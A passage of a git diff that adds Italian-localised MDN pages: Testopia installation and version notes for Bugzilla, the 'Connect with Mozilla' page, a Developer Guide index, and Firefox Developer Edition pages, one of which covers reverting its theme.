+  - Questo documento non ha tag
+translation_of: Mozilla/Bugzilla/Testopia
+---
+<p>Testopia è un "test case management system" cioè un "gestore per tenere traccia dei test" fornito come estensione di Bugzilla. E' stato progettato come tool generico permettendo di integrare i report dei difetti (bug reporting) nelle vostre prove.  Benché progettato pensando al <em>Software Testing</em>, può essere usato per tenere traccia dei test su qualsiasi problematica del processo ingegneristico.</p>
+
+<h2 id="Testopia_2.5">Testopia 2.5</h2>
+
+<p>Questa versione supporta Bugzilla 4.2 e la bella notizia è che non richiede più di applicare correzioni (patch) a Bugzilla stesso. Se stai aggiornando Testopia da una precedente versione, per favore togli le correzioni precedentemente applicate prima di proseguire.  Un'istallazione pulita richiede soltanto di scompattatare (untar) il pacchetto nella cartella radice di Bugzilla e lanciare (il solito) checksetup(.pl).<br>
+ I ringraziamenti vanno a LpSolit del gruppo di sviluppatori di Bugzilla che ha reso possibile ciò.</p>
+
+<h2 id="Testopia_2.4_-_Nota_importante!">Testopia 2.4 - Nota importante!</h2>
+
+<p>Se stai facendo un aggiornamento su un filesystem <em>case sensitive</em> (cioè che differenzia tra lettere maiuscole e minuscole), devi rimuovere la cartella testopia presente nella cartella delle estensioni (extensions) di Bugzilla . Se hai fatto delle modifiche sul codice sorgente di "testopia", devi farne il <em>merge (</em>riportare le stesse modifiche) nella nuova cartella "Testopia" (nota la T maiuscola). Se stai lavorando con un OS come Windows, che non differenzia tra maiuscole e minuscole, per prima cosa rinomina la vecchia cartella testopia (ad esempio testopia-old) e quindi scompatta la nuova distribuzione (tarball). Puoi ora fare il merge delle tue modifiche prima di cancellare la vecchia versione.</p>
+
+<p><strong>AVVERTENZA PER CHI USA LE API:</strong>  l'utilizzo dei parametri posizionali è stato deprecato. D'ora in poi tutti i parametri andrebbero trasmessi in un hash (struct, dict, hashmap o comunque vi piaccia chiamare una chiave e il suo valore). Benché sia stato fatto tutto il possibile per continuare a supportare i parametri posizionali, vi preghiamo di prestare attenzione al fatto che alcune chiamate alle API potrebbero fallire se non viene adottato il nuovo approccio. Inoltre, nelle versioni future questo supporto potrebbe venir meno.</p>
+
+<p>Al solito si prega di fare un backup della propria istallazione prima di procedere ad una nuova installazione o aggiornamento.</p>
+
+<h2 id="Punti_di_integrazione_(condivisione)">Punti di integrazione (condivisione)</h2>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;">Testopia condivide con Bugzilla le strutture: prodotti, componenti, versioni, e pietre miliari per permettere di avere in una singola interfaccia di gestione gli stessi oggetti ad alto livello.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Testopia permette agli utenti di autenticarsi grazie ai meccanismi propri di Bugzilla come i permessi di gruppo per limitare l'accesso in modifica degli oggetti dei test.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Testopia permette agli utenti di allegare i difetti riscontrati (bugs) ai risultati dei "test case run" per una gestione centralizzata del processo di ingegenerizzazione del software.</p>
+ </li>
+</ul>
+
+<h2 id="Peculiarità_della_versione_2.4_(Bugzilla_3.6.x)" style="margin-top: 0in; margin-bottom: 0in;">Peculiarità della versione 2.4 (Bugzilla 3.6.x)</h2>
+
+<ul>
+ <li>Supporto a Bugzilla 3.6</li>
+</ul>
+
+<h2 id="Peculiarità_della_versione_2.3_(Bugzilla_3.4.x)" style="margin-top: 0in; margin-bottom: 0in;">Peculiarità della versione 2.3 (Bugzilla 3.4.x)</h2>
+
+<ul>
+ <li>Abilità a esportare in XML ed importaare test plans e figli</li>
+ <li>Abilità a esportare in CSV per i "test cases" e i risultati.</li>
+ <li>Nuova reportistica: caso peggiore e ricircolo</li>
+ <li>Gestione delle priorità sui singoli "case-runs"</li>
+ <li>Nuova funzionalità di clonazione</li>
+ <li>Utilizzo dell'ultima libreria Extjs 3.0</li>
+ <li>Conversione di Testopia in una vera estensione di Bugzilla</li>
+ <li>Bonifica di numerosi difetti</li>
+</ul>
+
+<h2 id="Peculiarità_della_ver._2.2_(Bugzilla_3.2_e_3.0.x)" style="margin-top: 0in; margin-bottom: 0in;">Peculiarità  della ver. 2.2 (Bugzilla 3.2 e 3.0.x)</h2>
+
+<p>Questa versione è un rilascio effettuato principalmente per stabilità e rendere compatibile Testopia con Bugzilla 3.2 and Bugzilla 3.0.6.  Attenzione a scaricare il pacchetto corretto rispetto alla versione di Bugzilla in uso.</p>
+
+<p>Per l'istallazione seguire queste linee guida (vedere <a href="http://wiki.mozilla.org/Testopia:README">README</a> per i dettagli):</p>
+
+<ol>
+ <li>Untar il pacchettone Testopia 2.4 all'interno della vostra cartella (principale) di Bugzilla.</li>
+ <li>Applicare le correzioni sui files di Bugzilla.<br>
+  Nei sistemi Linux potreste fare così:
+  <p style="border: 1px solid red; padding: 3px; width: 250px;"><code><strong>patch -p0 -i extensions/testopia/patch-3.6</strong></code></p>
+ </li>
+ <li>Al termine lanciare il solito comando di Bugzilla "checksetup.pl"</li>
+</ol>
+
+<p>Per aggiornare una istallazione esistente di Testopia si proceda come sopra <strong>avendo cura di togliere le vecchie correzioni PRIMA di scaricare i files. Se nell'occasione pensate anche di aggiornare Bugzilla completate questa attività prima di passare ad occuparvi di Testopia stesso.</strong></p>
+
+<p><code><strong>patch -p0 -R -i extensions/testopia/patch-&lt;version&gt;</strong></code></p>
+
+<p>Dove &lt;version&gt; è la versione della correzione che avete applicato (versione di Bugzilla).</p>
+
+<h2 id="Presupposti">Presupposti</h2>
+
+<p>Durante lo sviluppo abbiamo deciso di utilizzare come riferimento l'ultima versione stabile di Bugzilla (attualmente la 3.4). Questo ci ha dato una buona base di partenza per il nostro lavoro. Centrare l'obiettivo nello sviluppo di plugins ed estensioni è arduo proprio come colpire un bersaglio in movimento. Questo approccio permette di traguardare nuove funzionalità spesso in anticipo sui tempi.  Quindi la compatibilità col passato può essere sacrificata per mancanza di tempo. Chiunque desiderasse aiutarci in questo sforzo è il benvenuto.</p>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;">Bugzilla 3.6.x</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Mysql 5.0 or PostGres 8.1.x</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Un browser Mozilla compatibile;-)</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">I seguenti moduli Perl aggiuntivi: Text::CSV XML::Schema Validator XML::Schema::Parser (per importare) e JSON 2.10</p>
+ </li>
+</ul>
+
+<h2 id="DA_FARE">DA FARE</h2>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;">Preferenze dell'utente</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Messaggi di posta elettronica per le notifiche</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Più reportistica</p>
+ </li>
+</ul>
+
+<p>Guardate la <a href="http://wiki.mozilla.org/Testopia:Roadmap">Roadmap</a> e la <a href="https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Testopia&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=exact&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailqa_contact2=1&amp;emailtype2=exact&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Bug List</a> per maggiori dettagli.</p>
+
+<h2 id="Collegamenti">Collegamenti</h2>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="http://wiki.mozilla.org/Testopia:FAQ">FAQ</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="http://wiki.mozilla.org/Testopia">Wiki</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="http://landfill.mozilla.org/testopia2/testopia/doc/Manual.pdf">Docs</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&amp;product=Testopia&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_status=UNCONFIRMED">Bugs</a> (Please read the <a href="https://wiki.mozilla.org/Testopia:Bug_Reporting_Guide">Bug Reporting Guide)</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Il <a href="http://testopia.blogspot.com/">Blog</a> ufficiale di Testopia</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">IRC: <a href="irc://irc.mozilla.org/testopia">#testopia</a> o  <a href="irc://irc.mozilla.org/mozwebtools">#mozwebtools </a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Aiuto per l'utente <a href="mailto:support-webtools@lists.mozilla.org">support-webtools@lists.mozilla.org</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Sviluppatori <a href="mailto:dev-apps-webtools@lists.mozilla.org">dev-apps-webtools@lists.mozilla.org</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="http://landfill.mozilla.org/testopia2/">Testopia su landfill (2.2 on Bugzilla 3.0.6)</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="http://landfill.mozilla.org/testopia/">Testopia su landfill (2.2 on Bugzilla 3.2)</a></p>
+ </li>
+</ul>
+
+<h2 id="Cosa_e_dove_scaricare_(Downloads)">Cosa e dove scaricare (Downloads)</h2>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="ftp://ftp.mozilla.org/pub/mozilla.org/webtools/testopia/testopia-2.5-BUGZILLA-4.2.tar.gz">Scaricare la 2.5 (Bugzilla 4.2)</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="ftp://ftp.mozilla.org/pub/mozilla.org/webtools/testopia/testopia-2.4-BUGZILLA-3.6.tar.gz">Scaricare la  2.4 (Bugzilla 3.6 and 4.0)</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="ftp://ftp.mozilla.org/pub/mozilla.org/webtools/testopia/">Versioni archiviate</a></p>
+ </li>
+</ul>
+
+<h2 id="Sviluppatori">Sviluppatori</h2>
+
+<p>Greg Hendricks (corrente)<br>
+ Vance Baarda (precedente)<br>
+ Ed Fuentetaja (precedente)</p>
diff --git a/files/it/mozilla/connettere/index.html b/files/it/mozilla/connettere/index.html
new file mode 100644
index 0000000000..b15c279efa
--- /dev/null
+++ b/files/it/mozilla/connettere/index.html
@@ -0,0 +1,98 @@
+---
+title: Connettere con Mozilla
+slug: Mozilla/Connettere
+translation_of: Mozilla/Connect
+---
+<div class="summary">
+<p><span class="seoSummary">Facilita, ispira e collabora per rendere il Web la piattaforma principale per creare esperienze su tutti i dispositivi connessi.</span></p>
+</div>
+
+
+<div>
+<div class="column-container dev-program-callouts dev-program-block dev-program-first dev-program-column-wrapper">
+<div class="dev-program-callout">
+<div class="callout-link-container">
+<h2 id="Hacks_blog">Hacks blog</h2>
+
+<p>Una risorsa chiave per le persone che sviluppano per l'Open Web, il blog Mozilla Hacks offre notizie e discussioni sulle novità nel campo delle tecnologie Web e le funzionalità del browser.</p>
+
+<div class="callout-link-wrapper"><a class="callout-link" href="https://hacks.mozilla.org/">Leggi ora </a></div>
+</div>
+</div>
+
+<div class="dev-program-callout">
+<div class="callout-link-container">
+<h2 id="Aiuta_QA">Aiuta Q&amp;A</h2>
+
+<p>Unisciti alle discussioni riguardanti il Web e le Web apps su Stack Overflow, dove potrai condividere le tue idee con altri sviluppatori Web.</p>
+
+<div class="smaller"><strong>{{anch("Developer discussions", "Search the Q&amp;A below")}}</strong></div>
+
+<div class="callout-link-wrapper"><a class="callout-link" href="http://stackoverflow.com/r/mozilla">Mozilla Q&amp;A su Stack Overflow </a></div>
+</div>
+</div>
+
+<div class="dev-program-callout">
+<div class="callout-link-container">
+<h2 id="Unisciti_MDN">Unisciti MDN</h2>
+
+<p>Iscriviti a MDN! Avrai la possibilità di <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute">modificare la documentazione</a>, creare un profilo per mostrare il tuo lavoro e ottenere l'accesso a varie funzionalità man mano che verranno implementate.</p>
+
+<div class="callout-link-wrapper"><a class="callout-link" href="/profile/edit" style="white-space: normal;">Iscriviti o effettua l'accesso</a></div>
+</div>
+</div>
+</div>
+
+<div class="dev-program-explanation dev-program-block">
+<h2 id="Connettiti_con_Mozilla">Connettiti con Mozilla</h2>
+
+<p>Gli sviluppatori stanno creando il futuro costruendo servizi e applicazioni di qualità per gli utenti. L'obiettivo di Mozilla Developer Relation è aiutarli ad usare tecnologie aperte e standardizzate nel portare a termine i loro progetti. Oltre alla documentazione presente su MDN offriamo aiuto e risorse per permettere loro di raggiungere i propri obiettivi, attraverso vari canali. Ti invitiamo a connetterti, imparare e condividere la tua conoscenza.</p>
+
+<p>Offriamo aiuto tramite Q&amp;A su Stack Overflow per risolvere specifiche questioni tecniche e possibili problemi. È disponibile anche una newsletter per tenerti informato sulle ultime novità nella scena del web riguardo web apps e molto altro. <a href="https://marketplace.firefox.com/developers/#newsletter-signup">Iscriviti alla newsletter Apps &amp; Hacks</a>.</p>
+
+<p>Se condividi i <a href="https://www.mozilla.org/it/about/manifesto/">principi</a> e la <a href="https://www.mozilla.org/it/mission/">missione</a> di Mozilla e vuoi aiutarci a diffonderli tra gli sviluppatori, scopri come puoi <a href="https://wiki.mozilla.org/Engagement/Developer_Engagement/Technical_Evangelism/Get_Involved">entrare a far parte degli evangelisti tecnici</a> ed entrare a far parte del <a href="https://lists.mozilla.org/listinfo/evangelism">gruppo di discussione sull'evangelizzazione</a>.</p>
+
+<p>Abbiamo molti piani e idee per espandere il Mozilla Developer Program in maniera iterativa, e vogliamo la tua partecipazione. Quindi <a href="http://stackoverflow.com/r/mozilla">segui i tag su Stack Overflow</a>, <a href="https://hacks.mozilla.org/">segui Hacks blog</a>, ed <a href="/profile/edit">iscriviti</a>!</p>
+</div>
+
+<div class="column-container dev-program-block">
+<div class="column-half" id="Developer_discussions">
+<h2 id="QA_su_Stack_Overflow_Vedi_tutte_QA...">Q&amp;A su Stack Overflow <a class="heading-link" href="http://stackoverflow.com/r/mozilla">Vedi tutte Q&amp;A...</a></h2>
+
+<p>Abbiamo una serie di Q&amp;A per discutere problemi e complicazioni che si presentano durante lo sviluppo, soprattutto per Firefox OS e l'Open Web su mobile. È raggiungibile su Stack Overflow tramite l'URL <a href="http://stackoverflow.com/r/mozilla">http://stackoverflow.com/r/mozilla</a>.</p>
+
+<div class="stack-form">Stack form</div>
+
+<h3 id="Ultimi_argomenti_QA">Ultimi argomenti Q&amp;A</h3>
+</div>
+
+<div class="column-half dev-program-hacks dev-program-block"> </div>
+</div>
+
+<p class="dev-program-block"><img alt="Sviluppatori ad un laboratorio di Firefox OS a Madrid." src="https://mdn.mozillademos.org/files/7479/PhonesUp.jpg" style="display: block; height: 359px; margin: 0px auto; max-width: 100%; width: 720px;"></p>
+
+<div class="column-container dev-program-block">
+<div class="column-7 dev-program-events">
+<h2 id="Dov'è_Mozilla_Vedi_i_partecipanti_e_i_dettagli_nella_nostra_pagina_Eventi...">Dov'è Mozilla? <a class="heading-link" href="https://developer.mozilla.org/en/events">Vedi i partecipanti e i dettagli nella nostra pagina Eventi...</a></h2>
+
+<p>Qui trovi una lista di rappresentanti di Mozilla che terranno dei talk a eventi a te vicini. Assicurati di parlare con loro!</p>
+</div>
+
+<div class="column-5">
+<h2 id="Altre_risorse">Altre risorse</h2>
+
+<ul class="no-bullets">
+ <li><a href="http://www.youtube.com/user/mozhacks">Mozilla Hacks su YouTube</a>
+
+  <ul>
+   <li><a href="http://www.youtube.com/playlist?list=PLo3w8EB99pqIHIUUv08hBCHq1OgPKhdo0">Video su Firefox OS</a></li>
+   <li><a href="http://www.youtube.com/playlist?list=PLo3w8EB99pqLZNY22xKbTEzMfYo9PXAlm">Video su Firefox Developer Tools </a></li>
+  </ul>
+ </li>
+ <li><a href="https://twitter.com/mozhacks">@mozhacks su Twitter</a></li>
+</ul>
+</div>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/it/mozilla/developer_guide/index.html b/files/it/mozilla/developer_guide/index.html
new file mode 100644
index 0000000000..288d4e19ac
--- /dev/null
+++ b/files/it/mozilla/developer_guide/index.html
@@ -0,0 +1,145 @@
+---
+title: Developer Guide
+slug: Mozilla/Developer_guide
+tags:
+  - Developing Mozilla
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Developer_guide
+---
+<p>Whether you're an old hand or just getting started, articles you can find starting from this page will help you while you're working on Mozilla development.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation_topics">Documentation topics</h2>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/Introduction" title="Introduction">Getting Started</a></dt>
+          <dd>
+            A step-by-step beginner's guide to getting involved with Mozilla.</dd>
+        </dl>
+        <dl>
+          <dt>
+            <a class="internal" href="/en-US/docs/Developer_Guide/Source_Code" title="en-US/docs/Developer_Guide/Source_Code">Working with Mozilla Source Code</a></dt>
+          <dd>
+            A code overview, how to get the code, and the coding style guide.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Developer_Guide/Build_Instructions" title="en-US/docs/Developer_Guide/Build_Instructions">Build Instructions</a></dt>
+          <dd>
+            How to build Firefox, Thunderbird, SeaMonkey, or other Mozilla applications.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Development_process_overview" title="en-US/docs/Developer Guide/Development process overview">Development process overview</a></dt>
+          <dd>
+            An overview of the entire Mozilla development process.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Multiple_Firefox_Profiles" title="en-US/docs/Mozilla/Multiple_Firefox_Profiles">Managing multiple profiles</a></dt>
+          <dd>
+            When working with prerelease versions of Firefox, it's often helpful to have multiple Firefox profiles, such as one for each channel, or for different kinds of testing.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Mozilla_automated_testing" title="en-US/docs/Mozilla automated testing">Automated Testing</a></dt>
+          <dd>
+            How to run Mozilla's automated tests, and how to write new tests.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Developer_Guide/How_to_Submit_a_Patch" title="en-US/docs/Getting your patch in the tree">How to submit a patch</a></dt>
+          <dd>
+            After getting your patch written, you need to get it checked into the tree. This article explains the review process and how to get your patch approved.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Getting_documentation_updated" title="en-US/docs/Developer_Guide/Getting documentation updated">Getting documentation updated</a></dt>
+          <dd>
+            How to ensure that documentation is kept up to date as you develop.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Mozilla_Modules_and_Module_Ownership" title="en-US/docs/Mozilla Modules and Module Ownership">Mozilla modules and module ownership</a></dt>
+          <dd>
+            This article provides information about Mozilla's modules, what the role of a module owner is, and how module owners are selected.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Code_snippets" title="en-US/docs/Code_snippets">Code snippets</a></dt>
+          <dd>
+            Useful code samples for a wide variety of things you might need to figure out how to do.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Mozilla_Development_Strategies" title="en-US/docs/Mozilla Development Strategies">Mozilla development strategies</a></dt>
+          <dd>
+            Tips for how to make the most of your time working on the Mozilla project.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Debugging" title="en-US/docs/Debugging">Debugging</a></dt>
+          <dd>
+            Find helpful tips and guides for debugging Mozilla code.</dd>
+          <dt>
+            <a href="/en-US/docs/Performance" title="en-US/docs/Performance">Performance</a></dt>
+          <dd>
+            Performance guides and utilities to help you make your code perform well (and to play nicely with others).</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/The_Mozilla_platform" title="en-US/docs/The Mozilla platform">The Mozilla platform</a></dt>
+          <dd>
+            Information about the workings of the Mozilla platform.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Adding_APIs_to_the_navigator_object" title="en-US/docs/Developer_Guide/Adding_APIs_to_the_navigator_object">Adding APIs to the navigator object</a> {{ gecko_minversion_inline("9.0") }}</dt>
+          <dd>
+            How to augment the {{ domxref("window.navigator") }} object with additional APIs.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Interface_Compatibility" title="en-US/docs/Developer Guide/Interface Compatibility">Interface Compatibility</a></dt>
+          <dd>
+            Guidelines for modifying scriptable and binary APIs in Mozilla.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Customizing_Firefox" title="en-US/docs/Developer Guide/Customizing Firefox">Customizing Firefox</a></dt>
+          <dd>
+            Information about creating customized versions of Firefox.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Virtual_ARM_Linux_environment" title="Virtual ARM Linux environment">Virtual ARM Linux environment</a></dt>
+          <dd>
+            How to set up an ARM emulator running Linux for testing ARM-specific, but not necessarily platform-specific, code. Useful for mobile developers.</dd>
+          <dt>
+            <a href="/en-US/docs/Introduction/Obsolete_Build_Caveats_and_Tips" title="Obsolete Build Caveats and Tips">Obsolete Build Caveats and Tips</a></dt>
+          <dd>
+            A place to put build tips which are no longer relevant to building the latest version of the code from main but are relevant when building old codebases.</dd>
+        </dl>
+      </td>
+      <td>
+        <h2 class="Tools" id="Tools">Tools</h2>
+        <dl>
+          <dt>
+            <a class="link-https" href="https://bugzilla.mozilla.org/" title="https://bugzilla.mozilla.org/">Bugzilla</a></dt>
+          <dd>
+            The <a class="internal" href="/en-US/docs/Bugzilla" title="en-US/docs/Bugzilla">Bugzilla</a> database used to track issues for Mozilla projects.</dd>
+          <dt>
+            <a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/">MXR</a></dt>
+          <dd>
+            Browse and search the Mozilla source code repository on the Web.</dd>
+          <dt>
+            <a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi" title="http://bonsai.mozilla.org/cvsqueryform.cgi">Bonsai</a></dt>
+          <dd>
+            The <a class="internal" href="/en-US/docs/Bonsai" title="en-US/docs/Bonsai">Bonsai</a> tool lets you find out who changed what file in the repository, and when they did it.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Mercurial" title="en-US/docs/Mercurial">Mercurial</a></dt>
+          <dd>
+            The distributed version-control system used to manage Mozilla's source code.</dd>
+          <dt>
+            <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi" title="http://tinderbox.mozilla.org/showbuilds.cgi">Tinderbox</a></dt>
+          <dd>
+            <a class="internal" href="/en-US/docs/Tinderbox" title="en-US/docs/Tinderbox">Tinderbox</a> shows the status of the tree (whether or not it currently builds successfully).  Check this before checking in and out, to be sure you're working with a working tree.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Crash_reporting" title="en-US/docs/Crash reporting">Crash tracking</a></dt>
+          <dd>
+            Information about the <a class="link-https" href="https://crash-reports.mozilla.com/reports" title="https://crash-reports.mozilla.com/reports">Socorro</a> and <a class="external" href="http://talkback-public.mozilla.org/search/start.jsp" title="http://talkback-public.mozilla.org/search/start.jsp">Talkback</a> crash reporting systems.</dd>
+          <dt>
+            <a class="external" href="http://graphs.mozilla.org/" title="http://graphs.mozilla.org/">Performance tracking</a></dt>
+          <dd>
+            See performance information for Mozilla projects.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Callgraph" title="en-US/docs/Developing Mozilla/Callgraph">Callgraph</a></dt>
+          <dd>
+            A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically.</dd>
+          <dt>
+            <a class="external" href="http://www.mozilla.org/community/developer-forums.html" title="http://www.mozilla.org/community/developer-forums.html">Developer forums</a></dt>
+          <dd>
+            A topic-specific list of discussion forums where you can talk about Mozilla development issues.</dd>
+          <dt>
+            <a class="external" href="http://www.brianbondy.com/mozilla/cheatsheet/" title="http://www.brianbondy.com/mozilla/cheatsheet/">Mozilla Platform Development Cheat Sheet</a></dt>
+          <dd>
+            Brian Bondy's list of frequently referenced information for platform developers.</dd>
+        </dl>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/it/mozilla/firefox/developer_edition/index.html b/files/it/mozilla/firefox/developer_edition/index.html
new file mode 100644
index 0000000000..f735815e52
--- /dev/null
+++ b/files/it/mozilla/firefox/developer_edition/index.html
@@ -0,0 +1,60 @@
+---
+title: Developer Edition
+slug: Mozilla/Firefox/Developer_Edition
+tags:
+  - Beginner
+  - Firefox
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - 'etichette{locale}'
+translation_of: Mozilla/Firefox/Developer_Edition
+---
+<div>{{FirefoxSidebar}}</div><p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/9143/firefox-dev-ed_logo-only_1024.png" style="display: block; height: 256px; margin-left: auto; margin-right: auto; width: 256px;">A version of Firefox that's tailored for web developers.</p>
+
+<p><a href=" https://www.mozilla.org/en-US/firefox/developer/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Download Firefox Developer Edition</a></p>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<h3 id="The_latest_Firefox_features"><strong>The latest Firefox features</strong></h3>
+
+<p>Firefox Developer Edition replaces the Aurora channel in the <a href="https://wiki.mozilla.org/Release_Management/Release_Process">Firefox Release Process</a>. Like Aurora, features will land in the Developer Edition every six weeks, after they have stabilized in Nightly builds.</p>
+
+<p>By using the Developer Edition, you gain access to tools and platform features at least 12 weeks before they reach the main Firefox release channel.</p>
+
+<p><a href="/en-US/Firefox/Releases/35">Find out what's new in the Developer Edition</a>.</p>
+</div>
+
+<div class="column-half">
+<h3 id="A_distinct_theme"><strong>A distinct theme</strong></h3>
+
+<p>This includes quicker access to the developer tools.</p>
+
+<h3 id="Experimental_developer_tools"><strong>Experimental developer tools</strong></h3>
+
+<p>We'll include experimental tools that aren't yet ready to ride the trains to release.</p>
+
+<p>For example, the Developer Edition includes the <a href="/en-US/docs/Tools/Valence">Valence add-on</a>, which enables you to connect the <a href="/en-US/docs/Tools">Firefox developer tools</a> to other browsers such as Chrome on Android and Safari on iOS.</p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="A_separate_profile"><strong>A separate profile</strong></h3>
+
+<p>Firefox Developer Edition uses a separate profile from other Firefox versions installed on your machine. This means you can easily run the Developer Edition alongside your release or Beta version of Firefox.</p>
+
+<div class="note">
+<p><strong>Note:</strong> This means that the first time you start up the Developer Edition, you will see a completely uncustomized browser, with no add-ons, bookmarks, or history. You can <a href="https://support.mozilla.org/en-US/kb/how-do-i-set-up-firefox-sync">use Firefox Sync</a> if you want to unify your settings between the Developer Edition and other editions of Firefox.</p>
+</div>
+</div>
+
+<div class="column-half">
+<h3 id="Set_up_for_web_developers"><strong>Set up for web developers</strong></h3>
+
+<p>We've set default preference values tailored for web developers. For example, chrome and remote debugging are enabled by default.</p>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/it/mozilla/firefox/developer_edition/ripristinare/index.html b/files/it/mozilla/firefox/developer_edition/ripristinare/index.html
new file mode 100644
index 0000000000..d087d53194
--- /dev/null
+++ b/files/it/mozilla/firefox/developer_edition/ripristinare/index.html
@@ -0,0 +1,27 @@
+---
+title: Ripristinare
+slug: Mozilla/Firefox/Developer_Edition/Ripristinare
+translation_of: Mozilla/Firefox/Developer_Edition/Reverting
+---
+<div>{{FirefoxSidebar}}</div><h2 id="Ripristinare_il_tema_dalla_Developer_Edition">Ripristinare il tema dalla Developer Edition</h2>
+
+<p><br>
+ Se vuoi usare la Developer Edition, ma preferisci il tema 'Australis' usato in Firefox e Firefox Beta, puoi tornare al normale tema Firefox : Basta aprire il pannello "Customize" e cliccare su "Use Firefox Developer Edition Theme".</p>
+
+<p>{{EmbedYouTube("OvJwofTjsNg")}}</p>
+
+<p>Il tema Developer Edition non è ancora compatibile con temi "lightweight", per cui se usate questi temi, dovete ripristinare il tema Australis.</p>
+
+<h2 id="Ripristinare_Firefox_Aurora">Ripristinare Firefox Aurora</h2>
+
+<p><br>
+ Se volete tutte le caratteristiche della "pre-beta" che sono nella Firefox Developer Edition, ma non volete nessuna delle altre modifiche, potete ripristinare il sistema a qualcosa di simile al vecchio Firefox Aurora. Ciò ripristinerà anche il tuo profilo prima dell'aggiornamento e i dati delle sessioni.</p>
+
+<p>Questo si articola in due fasi, da eseguire in quest'ordine:</p>
+
+<ol>
+ <li>Aprire la pagina preferenze della Developer Edition e disabilitare la casella "Allow Firefox Developer Edition and Firefox to run at the same time". Ti verrà richiesto di riavviare il browser.</li>
+ <li>Dopo il riavvio, puoi ripristinare il tema dalla developer edition, aprendo il pannello "Customize" e cliccando su "Use Firefox Developer Edition Theme".</li>
+</ol>
+
+<p>{{EmbedYouTube("0Ofq-vlw8Qw")}}</p>
diff --git a/files/it/mozilla/firefox/funzionalità_sperimentali/index.html b/files/it/mozilla/firefox/funzionalità_sperimentali/index.html
new file mode 100644
index 0000000000..2cc528ad36
--- /dev/null
+++ b/files/it/mozilla/firefox/funzionalità_sperimentali/index.html
@@ -0,0 +1,1506 @@
+---
+title: Funzionalità sperimentali in Firefox
